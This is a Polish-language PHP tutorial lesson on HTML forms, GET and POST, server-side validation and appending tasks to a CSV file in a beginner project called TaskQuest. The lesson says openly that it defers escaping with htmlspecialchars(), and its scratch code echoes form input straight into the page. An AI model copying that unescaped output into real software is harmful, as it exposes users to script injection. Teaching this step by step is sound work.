<p data-start="3447" data-end="3540">Użytkownik po przesłaniu formularza powinien zobaczyć komunikat o poprawnym zapisie danych.</p>
</li>
<li data-start="3541" data-end="3643">
<p data-start="3543" data-end="3643">Pliki przesyłane przez użytkownika (np. zdjęcie, CV) powinny być zapisywane w katalogu <code class="prettyprint lang-sql" style="font-size: 0.85em;">uploads/</code>.</p>
</li>
</ul>



<h1 id="TaskQuest" class="wp-block-heading">TaskQuest 1.3 — użytkownik dodaje zadania ze strony</h1>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>KARTA PRACY</strong></summary>
<p class="wp-block-paragraph">Po Lekcji 12 TaskQuest bezpiecznie wczytuje zadania z <code class="prettyprint lang-sql" style="font-size: 0.85em;">data/zadania.csv</code> i głośno zgłasza awarie. Ale żeby dodać zadanie, Kama nadal musi otworzyć plik CSV w edytorze kodu i ręcznie wpisać wiersz — pilnując średników, cudzysłowów, formatu daty i kolejnego <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code>. Żaden użytkownik prawdziwej aplikacji tak nie pracuje.</p>



<p class="wp-block-paragraph">Dziś TaskQuest dostaje <strong>pierwszy formularz</strong>: użytkownik wpisuje zadanie na stronie, klika „Dodaj zadanie”, a PHP sprawdza dane i zapisuje je do pliku. Przy okazji lista zadań nauczy się <strong>filtrowania</strong> przez adres strony (<code class="prettyprint lang-sql" style="font-size: 0.85em;">?filtr=aktywne</code>).</p>



<h3 class="wp-block-heading">Cel lekcji</h3>



<p class="wp-block-paragraph">Nauczyć TaskQuest:</p>



<ul class="wp-block-list">
<li>odbierać dane z formularza HTML (<code class="prettyprint lang-sql" style="font-size: 0.85em;">$_POST</code>) i z adresu strony (<code class="prettyprint lang-sql" style="font-size: 0.85em;">$_GET</code>),</li>



<li>odróżniać pierwsze wejście na stronę od wysłania formularza (<code class="prettyprint lang-sql" style="font-size: 0.85em;">$_SERVER['REQUEST_METHOD']</code>),</li>



<li>bezpiecznie sięgać po dane, których może nie być (operator <code class="prettyprint lang-sql" style="font-size: 0.85em;">??</code>),</li>



<li>sprawdzać dane od użytkownika <strong>po stronie serwera</strong> i pokazywać wszystkie błędy naraz,</li>



<li>dopisywać nowe zadanie do pliku (wczytaj → dodaj → zapisz) z nowym, unikalnym <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code>,</li>



<li>nie dodawać tego samego zadania dwa razy po odświeżeniu strony (przekierowanie po zapisie),</li>



<li>świadomie wybierać metodę: <strong>GET do czytania, POST do zmieniania danych</strong>.</li>
</ul>



<p class="wp-block-paragraph">Efekt: na stronie głównej jest link „+ Dodaj zadanie” prowadzący do nowej strony <code class="prettyprint lang-sql" style="font-size: 0.85em;">dodaj-zadanie.php</code>. Po poprawnym wypełnieniu formularza zadanie ląduje w <code class="prettyprint lang-sql" style="font-size: 0.85em;">data/zadania.csv</code>, użytkownik wraca na stronę główną i widzi komunikat „Zadanie zostało dodane.”. Lista zadań ma trzy widoki: wszystkie, aktywne i wykonane.</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph"><strong>Uwaga — co jest, a czego jeszcze nie ma:</strong></p>



<ul class="wp-block-list">
<li>Nie ma logowania ani sesji. Komunikat „Zadanie zostało dodane.” przekazujemy w adresie strony (<code class="prettyprint lang-sql" style="font-size: 0.85em;">?dodano=1</code>), a nie „w pamięci” aplikacji — sesje to Lekcja 14.</li>



<li>Nadal <strong>nie używamy <code class="prettyprint lang-sql" style="font-size: 0.85em;">htmlspecialchars()</code></strong>. Od dziś tekst wpisany przez użytkownika trafia na stronę, więc to już realny problem bezpieczeństwa — zobaczysz go w Eksperymencie 5, a naprawimy go w lekcji o bezpieczeństwie (22). Aplikacja działa na Twoim komputerze i tylko Ty wpisujesz dane — dlatego na razie możemy to odłożyć.</li>



<li>Formularz tylko <strong>dodaje</strong> zadania. Oznaczanie jako wykonane to zadanie końcowe A; edycja i usuwanie — przy bazie danych (Lekcja 19).</li>



<li>Przesyłanie plików (upload) i pozostałe typy pól (checkbox, radio, select) poznasz w ćwiczeniach z tematu, ale TaskQuest ich dziś nie potrzebuje.</li>



<li>Dane grywalizacji (<code class="prettyprint lang-sql" style="font-size: 0.85em;">$xp</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">$streak</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">$dataOstatniejAktywnosci</code>) nadal są symulowane w <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code>.</li>
</ul>
</blockquote>



<h1 class="wp-block-heading">Rozgrzewka — 4 pytania z Lekcji 12</h1>



<p class="wp-block-paragraph">Odpowiedz z pamięci, zanim zaczniesz:</p>



<ol class="wp-block-list">
<li>W bloku <code class="prettyprint lang-sql" style="font-size: 0.85em;">try</code> są trzy linie kodu, a wyjątek poleciał w drugiej. Co stanie się z trzecią linią i dokąd „przeskoczy” PHP?</li>



<li>Dlaczego pusty plik z zadaniami <strong>nie</strong> rzuca wyjątku, a brak pliku — rzuca?</li>



<li>Po co w <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code> jest <code class="prettyprint lang-sql" style="font-size: 0.85em;">$zadania = [];</code> <strong>przed</strong> blokiem <code class="prettyprint lang-sql" style="font-size: 0.85em;">try</code>?</li>



<li>Dokończ regułę: „Kto wykrywa problem — &#8230;, kto wie, co z problemem zrobić — &#8230;”.</li>
</ol>



<h1 class="wp-block-heading">1. Wracamy do naszego TaskQuest</h1>



<p class="wp-block-paragraph">Aplikacja czyta zadania z pliku, a funkcja <code class="prettyprint lang-sql" style="font-size: 0.85em;">zapiszZadania()</code> istnieje od Lekcji 11 — ale <strong>nikt jej jeszcze nie wywołuje ze strony</strong>. Dziś wreszcie dostanie swoje miejsce w aplikacji. <strong>Wszystkie zmienne i funkcje z Lekcji 12 zostają bez zmian.</strong></p>



<h3 class="wp-block-heading">Docelowa struktura projektu</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquest/
├── index.php                        (zmiana: link do formularza, komunikat po dodaniu, filtr GET)
├── dodaj-zadanie.php                NOWY — formularz dodawania zadania + jego obsługa
├── diagnostyka.php                  (zmiana: jedna nowa pozycja na liście wymaganych plików)
├── config/
│   └── config.php                   bez zmian
├── includes/
│   ├── header.php                   (zmiana: klasa .sukces + style formularza)
│   ├── footer.php                   (zmiana: "TaskQuest 1.3")
│   ├── funkcje_grywalizacji.php     bez zmian
│   ├── funkcje_tekstowe.php         bez zmian
│   ├── funkcje_terminow.php         bez zmian
│   ├── funkcje_zadan.php            (zmiana: dwie nowe funkcje na końcu pliku)
│   ├── funkcje_diagnostyczne.php    bez zmian
│   └── funkcje_plikow.php           bez zmian
└── data/
    └── zadania.csv                  (zmieni się jego zawartość — dopiszą się zadania z formularza)</code></pre>



<h3 class="wp-block-heading">Co gdzie trafi</h3>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Plik</th><th>Co się zmienia</th></tr></thead><tbody><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/funkcje_zadan.php</code></td><td>nowe funkcje <code class="prettyprint lang-sql" style="font-size: 0.85em;">walidujNoweZadanie()</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">nastepneIdZadania()</code></td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">dodaj-zadanie.php</code></td><td>nowa strona: formularz, sprawdzenie danych, zapis, przekierowanie</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code></td><td>link „+ Dodaj zadanie”, komunikat o dodaniu, wybór widoku listy przez <code class="prettyprint lang-sql" style="font-size: 0.85em;">$_GET</code></td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/header.php</code></td><td>klasa <code class="prettyprint lang-sql" style="font-size: 0.85em;">.sukces</code> i kilka reguł dla formularza</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/footer.php</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">diagnostyka.php</code></td><td>numer wersji, nowy plik na liście wymaganych</td></tr></tbody></table></figure>



<p class="wp-block-paragraph">Ciekawostka: w nowej stronie wrócą nazwy <code class="prettyprint lang-sql" style="font-size: 0.85em;">$tytulZadania</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">$opisZadania</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">$terminZadania</code>, które usunęliśmy w Lekcji 9 (dane zadań przeniosły się wtedy do kluczy tablicy <code class="prettyprint lang-sql" style="font-size: 0.85em;">$zadania</code>). Teraz dostają nowe, konkretne znaczenie: <strong>dane nowego zadania wpisane w formularzu</strong>, zanim trafią do listy.</p>



<h3 class="wp-block-heading">Przygotowanie (zrób to teraz)</h3>



<ol class="wp-block-list">
<li><strong>Zrób kopię zapasową</strong> całego katalogu <code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquest/</code> z Lekcji 12 — np. jako <code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquest_lekcja12/</code> (obok, nie w środku). Przyda się do testu regresji.</li>



<li>Zrób kopię pliku <code class="prettyprint lang-sql" style="font-size: 0.85em;">data/zadania.csv</code> <strong>poza</strong> katalogiem <code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquest/</code> (np. na pulpicie, jako <code class="prettyprint lang-sql" style="font-size: 0.85em;">zadania_kopia.csv</code>). Dziś będziemy dopisywać do niego testowe zadania, a na koniec wrócimy do oryginału.</li>



<li>Sprawdź, czy <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code> pokazuje 5 zadań, a <code class="prettyprint lang-sql" style="font-size: 0.85em;">diagnostyka.php</code> — 11 × <code class="prettyprint lang-sql" style="font-size: 0.85em;">[OK]</code>.</li>
</ol>



<h1 class="wp-block-heading">2. Problem w aplikacji</h1>



<p class="wp-block-paragraph">Kama chce dodać zadanie „Powtórka z formularzy” na przyszły piątek, za 30 XP. Dziś musi:</p>



<ol class="wp-block-list">
<li>otworzyć <code class="prettyprint lang-sql" style="font-size: 0.85em;">data/zadania.csv</code> w edytorze,</li>



<li>sprawdzić, jakie jest największe <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code>, i wymyślić kolejne,</li>



<li>wpisać wiersz, nie gubiąc żadnego średnika i pamiętając o formacie <code class="prettyprint lang-sql" style="font-size: 0.85em;">RRRR-MM-DD</code>,</li>



<li>odświeżyć stronę i mieć nadzieję, że niczego nie zepsuła (jeśli zepsuła — od Lekcji 12 przynajmniej zobaczy ramkę z numerem linii).</li>
</ol>



<p class="wp-block-paragraph">Chcemy, żeby wyglądało to tak:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">formularz w przeglądarce ──(kliknięcie "Dodaj zadanie")──► PHP odbiera dane
                                   │
                         czy dane są poprawne?
                      ┌────────────┴────────────┐
                     NIE                        TAK
                      │                          │
      formularz jeszcze raz,            wczytajZadania() → dopisz → zapiszZadania()
       z listą błędów                           │
       i wpisanymi danymi            powrót na stronę główną
                                     + "Zadanie zostało dodane."</code></pre>



<p class="wp-block-paragraph">Do tego Kama ma już 5 zadań i chciałaby czasem widzieć <strong>tylko aktywne</strong>. To zupełnie inny rodzaj prośby: niczego nie zmienia w danych, tylko wybiera, <em>co pokazać</em>.</p>



<p class="wp-block-paragraph">Potrzebujemy więc:</p>



<ol class="wp-block-list">
<li>sposobu, żeby przeglądarka <strong>wysłała dane</strong> do skryptu PHP,</li>



<li>sposobu, żeby PHP te dane <strong>odebrał</strong>,</li>



<li>sposobu, żeby PHP odróżnił „ktoś dopiero otworzył formularz” od „ktoś go właśnie wysłał”,</li>



<li><strong>sprawdzenia danych</strong> — przeglądarka potrafi wysłać wszystko,</li>



<li>dwóch rodzajów próśb: „pokaż mi” i „zmień dane”.</li>
</ol>



<p class="wp-block-paragraph">To właśnie formularze HTML i metody GET oraz POST.</p>



<h1 class="wp-block-heading">3. Nowy mechanizm PHP: formularze, GET i POST</h1>



<h2 class="wp-block-heading">3.1 Jak przeglądarka rozmawia z PHP</h2>



<p class="wp-block-paragraph">Za każdym razem, gdy wpisujesz adres, klikasz link albo wysyłasz formularz, przeglądarka wysyła do serwera <strong>żądanie</strong> (ang. <em>request</em>). Serwer uruchamia skrypt PHP <strong>od zera</strong>, skrypt generuje HTML, a serwer odsyła go jako <strong>odpowiedź</strong> (ang. <em>response</em>). Potem skrypt się kończy i wszystkie jego zmienne znikają.</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">PRZEGLĄDARKA                                 SERWER (Apache + PHP)
     │  żądanie: GET /taskquest/index.php          │
     │ ──────────────────────────────────────────► │  uruchamia index.php od początku
     │                                             │  (zmienne powstają...)
     │  odpowiedź: HTML strony                     │
     │ ◄────────────────────────────────────────── │  (...i znikają po zakończeniu)</code></pre>



<p class="wp-block-paragraph">Każde żądanie ma <strong>metodę</strong>. Dwie najważniejsze to:</p>



<ul class="wp-block-list">
<li><strong>GET</strong> — „daj mi stronę”. Tak działa wpisanie adresu i kliknięcie linku. Dane (jeśli są) jadą <strong>w adresie</strong>, po znaku <code class="prettyprint lang-sql" style="font-size: 0.85em;">?</code>.</li>



<li><strong>POST</strong> — „przyjmij ode mnie dane”. Dane jadą <strong>w treści żądania</strong>, nie w adresie.</li>
</ul>



<h2 class="wp-block-heading">3.2 Pierwszy formularz — metoda GET</h2>



<p class="wp-block-paragraph"><strong>BRUDNOPIS.</strong> Utwórz w katalogu <code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquest/</code> plik <code class="prettyprint lang-sql" style="font-size: 0.85em;">brudnopis.php</code> — to plik do eksperymentów, nie część aplikacji. Cała sekcja 3 i 4 dzieje się w tym pliku.</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;!DOCTYPE html&gt;
&lt;html lang="pl"&gt;
&lt;head&gt;
    &lt;meta charset="UTF-8"&gt;
    &lt;title&gt;Brudnopis — formularz&lt;/title&gt;
&lt;/head&gt;
&lt;body&gt;
    &lt;form method="get" action="brudnopis.php"&gt;
        &lt;label for="imie"&gt;Imię&lt;/label&gt;
        &lt;input type="text" id="imie" name="imie"&gt;

        &lt;label for="xp"&gt;XP&lt;/label&gt;
        &lt;input type="number" id="xp" name="xp"&gt;

        &lt;button type="submit"&gt;Wyślij&lt;/button&gt;
    &lt;/form&gt;

    &lt;pre&gt;&lt;?php var_dump($_GET); ?&gt;&lt;/pre&gt;
&lt;/body&gt;
&lt;/html&gt;</code></pre>



<p class="wp-block-paragraph">Otwórz <code class="prettyprint lang-sql" style="font-size: 0.85em;">http://localhost/taskquest/brudnopis.php</code>, wpisz <code class="prettyprint lang-sql" style="font-size: 0.85em;">Kama</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">50</code>, kliknij „Wyślij”. Zwróć uwagę na trzy rzeczy:</p>



<ol class="wp-block-list">
<li><strong>Adres zmienił się</strong> na <code class="prettyprint lang-sql" style="font-size: 0.85em;">brudnopis.php?imie=Kama&amp;xp=50</code>. Dane są widoczne w pasku adresu.</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">var_dump($_GET)</code> pokazuje tablicę asocjacyjną: <code class="prettyprint lang-sql" style="font-size: 0.85em;">["imie"] =&gt; "Kama"</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">["xp"] =&gt; "50"</code>.</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">xp</code> to <strong><code class="prettyprint lang-sql" style="font-size: 0.85em;">string(2) "50"</code></strong>, a nie liczba — mimo że pole ma <code class="prettyprint lang-sql" style="font-size: 0.85em;">type="number"</code>. <strong>Z formularza zawsze przychodzą teksty.</strong></li>
</ol>



<p class="wp-block-paragraph">Co tu się dzieje:</p>



<ul class="wp-block-list">
<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">method="get"</code> — przeglądarka dokleja dane do adresu,</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">action="brudnopis.php"</code> — do którego skryptu wysłać dane (tu: do tego samego pliku),</li>



<li>atrybut <strong><code class="prettyprint lang-sql" style="font-size: 0.85em;">name</code></strong> pola staje się <strong>kluczem</strong> w tablicy <code class="prettyprint lang-sql" style="font-size: 0.85em;">$_GET</code>. Pole bez <code class="prettyprint lang-sql" style="font-size: 0.85em;">name</code> w ogóle nie zostanie wysłane (atrybut <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code> służy tylko do połączenia z <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;label for="..."&gt;</code>),</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">$_GET</code> to tablica, którą PHP wypełnia <strong>sam</strong>, zanim uruchomi Twój kod.</li>
</ul>



<p class="wp-block-paragraph">Teraz <strong>wpisz adres ręcznie</strong>, bez formularza: <code class="prettyprint lang-sql" style="font-size: 0.85em;">brudnopis.php?imie=Ola&amp;xp=abc&amp;bonus=1</code>. PHP przyjął wszystko — także <code class="prettyprint lang-sql" style="font-size: 0.85em;">abc</code> w polu liczbowym i dodatkowy klucz <code class="prettyprint lang-sql" style="font-size: 0.85em;">bonus</code>, którego w formularzu nie ma. Zapamiętaj: <strong>formularz to tylko jeden ze sposobów wysłania danych. Użytkownik może wysłać, co zechce.</strong></p>



<p class="wp-block-paragraph">Na koniec otwórz <code class="prettyprint lang-sql" style="font-size: 0.85em;">brudnopis.php</code> bez niczego po <code class="prettyprint lang-sql" style="font-size: 0.85em;">?</code>. <code class="prettyprint lang-sql" style="font-size: 0.85em;">$_GET</code> jest pustą tablicą: <code class="prettyprint lang-sql" style="font-size: 0.85em;">array(0) {}</code>.</p>



<h2 class="wp-block-heading">3.3 Metoda POST</h2>



<p class="wp-block-paragraph">Zmień w formularzu <code class="prettyprint lang-sql" style="font-size: 0.85em;">method="get"</code> na <code class="prettyprint lang-sql" style="font-size: 0.85em;">method="post"</code>, a <code class="prettyprint lang-sql" style="font-size: 0.85em;">var_dump($_GET)</code> na <code class="prettyprint lang-sql" style="font-size: 0.85em;">var_dump($_POST)</code>. Wyślij formularz jeszcze raz.</p>



<ul class="wp-block-list">
<li>Adres <strong>się nie zmienił</strong> — nie ma w nim <code class="prettyprint lang-sql" style="font-size: 0.85em;">?imie=...</code>.</li>



<li>Dane są w <code class="prettyprint lang-sql" style="font-size: 0.85em;">$_POST</code>, zbudowanej dokładnie tak samo jak <code class="prettyprint lang-sql" style="font-size: 0.85em;">$_GET</code>.</li>
</ul>



<p class="wp-block-paragraph">Gdzie się podziały? Otwórz narzędzia deweloperskie (<strong>F12</strong>) → karta <strong>Sieć</strong> (<em>Network</em>) → wyślij formularz → kliknij żądanie <code class="prettyprint lang-sql" style="font-size: 0.85em;">brudnopis.php</code> → karta <strong>Ładunek</strong> (<em>Payload</em>). Tam są. <strong>POST nie jest „tajny”</strong> — dane po prostu nie jadą w adresie. Każdy, kto ma dostęp do przeglądarki albo sieci, może je zobaczyć lub zmienić. (Szyfrowanie połączenia zapewnia HTTPS, nie metoda POST.)</p>



<p class="wp-block-paragraph">Teraz naciśnij <strong>F5</strong>. Przeglądarka pyta, czy wysłać dane ponownie. Zapamiętaj to okienko — w TaskQuest oznaczałoby <strong>drugie takie samo zadanie w pliku</strong>. Wrócimy do tego w Kroku 4.</p>



<h2 class="wp-block-heading">3.4 Pierwsze wejście czy wysłany formularz?</h2>



<p class="wp-block-paragraph">Ten sam plik <code class="prettyprint lang-sql" style="font-size: 0.85em;">brudnopis.php</code> jest otwierany na dwa sposoby: najpierw zwykłym wejściem (GET — pusty formularz), potem po kliknięciu przycisku (POST — dane do sprawdzenia). PHP musi je odróżnić. Podmień zawartość <code class="prettyprint lang-sql" style="font-size: 0.85em;">brudnopis.php</code> na:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php

echo "Metoda: " . $_SERVER&#91;'REQUEST_METHOD'] . "&lt;br&gt;";
echo "Imię: " . $_POST&#91;'imie'] . "&lt;br&gt;";
?&gt;
&lt;form method="post" action="brudnopis.php"&gt;
    &lt;input type="text" name="imie"&gt;
    &lt;button type="submit"&gt;Wyślij&lt;/button&gt;
&lt;/form&gt;</code></pre>



<p class="wp-block-paragraph">Przy pierwszym wejściu zobaczysz <code class="prettyprint lang-sql" style="font-size: 0.85em;">Metoda: GET</code> oraz ostrzeżenie <code class="prettyprint lang-sql" style="font-size: 0.85em;">Warning: Undefined array key "imie"</code> — przy zwykłym wejściu klucza <code class="prettyprint lang-sql" style="font-size: 0.85em;">imie</code> w <code class="prettyprint lang-sql" style="font-size: 0.85em;">$_POST</code> <strong>nie ma</strong>. Po wysłaniu: <code class="prettyprint lang-sql" style="font-size: 0.85em;">Metoda: POST</code> i wpisane imię.</p>



<p class="wp-block-paragraph">Dwa narzędzia, które to porządkują:</p>



<p class="wp-block-paragraph"><strong>1. <code class="prettyprint lang-sql" style="font-size: 0.85em;">$_SERVER['REQUEST_METHOD']</code></strong> — tekst <code class="prettyprint lang-sql" style="font-size: 0.85em;">'GET'</code> albo <code class="prettyprint lang-sql" style="font-size: 0.85em;">'POST'</code>. Kod obsługujący formularz umieszczamy w:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">if ($_SERVER&#91;'REQUEST_METHOD'] === 'POST') {
    // formularz został wysłany — dopiero tu sięgamy po $_POST
}</code></pre>



<p class="wp-block-paragraph"><strong>2. Operator <code class="prettyprint lang-sql" style="font-size: 0.85em;">??</code></strong> — „weź wartość z lewej, a jeśli jej nie ma (klucz nie istnieje albo jest <code class="prettyprint lang-sql" style="font-size: 0.85em;">null</code>), weź tę z prawej”:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$imie = $_POST&#91;'imie'] ?? '';</code></pre>



<p class="wp-block-paragraph">To krótszy zapis tego samego, co:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">if (isset($_POST&#91;'imie'])) {
    $imie = $_POST&#91;'imie'];
} else {
    $imie = '';
}</code></pre>



<p class="wp-block-paragraph">Nawet wewnątrz <code class="prettyprint lang-sql" style="font-size: 0.85em;">if (... === 'POST')</code> używamy <code class="prettyprint lang-sql" style="font-size: 0.85em;">??</code> — bo ktoś może wysłać POST <strong>bez</strong> jakiegoś pola (np. usunąć je z formularza w F12). Zmień drugą linię na <code class="prettyprint lang-sql" style="font-size: 0.85em;">echo "Imię: " . ($_POST['imie'] ?? '(brak)') . "&lt;br&gt;";</code> i sprawdź pierwsze wejście — ostrzeżenie zniknęło.</p>



<h2 class="wp-block-heading">3.5 GET czy POST?</h2>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Prośba</th><th>Metoda</th><th>Dlaczego</th></tr></thead><tbody><tr><td>pokaż listę zadań / tylko aktywne</td><td><strong>GET</strong></td><td>niczego nie zmienia; adres z <code class="prettyprint lang-sql" style="font-size: 0.85em;">?filtr=aktywne</code> można zapisać w zakładkach, wysłać koledze, odświeżyć bez skutków ubocznych</td></tr><tr><td>wyszukaj zadania ze słowem „PHP”</td><td><strong>GET</strong></td><td>j.w. — to tylko czytanie</td></tr><tr><td>dodaj zadanie</td><td><strong>POST</strong></td><td>zmienia dane; odświeżenie, link w historii albo robot indeksujący stronę nie mogą przypadkiem dodać zadania</td></tr><tr><td>oznacz zadanie jako wykonane</td><td><strong>POST</strong></td><td>zmienia dane</td></tr><tr><td>logowanie</td><td><strong>POST</strong></td><td>hasło w adresie trafiłoby do historii przeglądarki i logów serwera</td></tr></tbody></table></figure>



<p class="wp-block-paragraph">Reguła na cały kurs:</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph"><strong>GET — gdy tylko czytamy. POST — gdy coś zmieniamy.</strong></p>
</blockquote>



<h2 class="wp-block-heading">3.6 Pola formularza i walidacja w przeglądarce</h2>



<p class="wp-block-paragraph">W formularzu TaskQuest użyjemy czterech rodzajów pól:</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Pole</th><th>Co wysyła</th><th>Przydatne atrybuty</th></tr></thead><tbody><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;input type="text"&gt;</code></td><td>tekst</td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">required</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">maxlength="100"</code></td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;textarea&gt;</code></td><td>tekst, może mieć wiele linii (wartość wpisujemy <strong>między</strong> znacznikami, nie w <code class="prettyprint lang-sql" style="font-size: 0.85em;">value</code>)</td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">rows</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">maxlength</code></td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;input type="date"&gt;</code></td><td>zawsze tekst <code class="prettyprint lang-sql" style="font-size: 0.85em;">RRRR-MM-DD</code> — <strong>niezależnie</strong> od tego, jak przeglądarka wyświetla datę (np. <code class="prettyprint lang-sql" style="font-size: 0.85em;">02.10.2026</code>)</td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">required</code></td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;input type="number"&gt;</code></td><td>tekst z liczbą</td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">min</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">max</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">required</code></td></tr></tbody></table></figure>



<p class="wp-block-paragraph">Atrybuty <code class="prettyprint lang-sql" style="font-size: 0.85em;">required</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">min</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">max</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">maxlength</code> to <strong>walidacja w przeglądarce</strong>: przeglądarka nie wyśle formularza, dopóki pola nie będą poprawne. To wygoda dla użytkownika (szybka informacja bez przeładowania strony), <strong>ale nie ochrona</strong>. Obejść ją można na kilka sposobów:</p>



<ul class="wp-block-list">
<li>dopisać do znacznika <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;form&gt;</code> atrybut <strong><code class="prettyprint lang-sql" style="font-size: 0.85em;">novalidate</code></strong> — przeglądarka przestaje sprawdzać pola (użyjemy go w testach),</li>



<li>usunąć atrybut w narzędziach deweloperskich (F12 → Elementy),</li>



<li>wysłać dane bez przeglądarki (np. programem <code class="prettyprint lang-sql" style="font-size: 0.85em;">curl</code>) albo — przy GET — po prostu wpisać adres.</li>
</ul>



<p class="wp-block-paragraph">Dlatego <strong>PHP zawsze sprawdza dane sam</strong>, nawet jeśli formularz ma <code class="prettyprint lang-sql" style="font-size: 0.85em;">required</code>.</p>



<h2 class="wp-block-heading">3.7 Błąd użytkownika to nie awaria</h2>



<p class="wp-block-paragraph">W Lekcji 12 ustaliliśmy: wyjątek to sygnał „nie potrafię zrobić tego, o co mnie poproszono”, a zły login to <strong>zwykła odpowiedź</strong> (<code class="prettyprint lang-sql" style="font-size: 0.85em;">false</code>), nie awaria. Z formularzem jest tak samo:</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Sytuacja</th><th>Jak ją zgłaszamy</th><th>Dlaczego</th></tr></thead><tbody><tr><td>pusty tytuł, XP = 500, termin 31 lutego</td><td><strong>lista komunikatów</strong> (tablica <code class="prettyprint lang-sql" style="font-size: 0.85em;">$bledy</code>)</td><td>to oczekiwana sytuacja — ludzie się mylą; formularz ma im pomóc to poprawić</td></tr><tr><td>plik z zadaniami nie istnieje, nie da się go zapisać</td><td><strong>wyjątek</strong> (<code class="prettyprint lang-sql" style="font-size: 0.85em;">try</code> / <code class="prettyprint lang-sql" style="font-size: 0.85em;">catch</code>)</td><td>aplikacja nie może wykonać zadania</td></tr></tbody></table></figure>



<p class="wp-block-paragraph">Jest też powód praktyczny: wyjątek przerywa sprawdzanie na <strong>pierwszym</strong> problemie. Użytkownik, który zrobił trzy błędy, poprawiałby je wtedy po jednym, wysyłając formularz trzy razy. Tablica błędów pozwala pokazać <strong>wszystkie naraz</strong>:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$bledy = &#91;];

if (/* tytuł pusty */) {
    $bledy&#91;] = "Tytuł jest wymagany.";
}

if (/* XP złe */) {
    $bledy&#91;] = "XP musi być z zakresu 1–100.";
}

if (count($bledy) === 0) {
    // wszystko w porządku — można zapisywać
}</code></pre>



<h3 class="wp-block-heading">Typowe błędy przy formularzach</h3>



<ul class="wp-block-list">
<li><strong>Brak atrybutu <code class="prettyprint lang-sql" style="font-size: 0.85em;">name</code></strong> w polu — pole nie zostanie wysłane, a w PHP pojawi się <code class="prettyprint lang-sql" style="font-size: 0.85em;">Undefined array key</code>.</li>



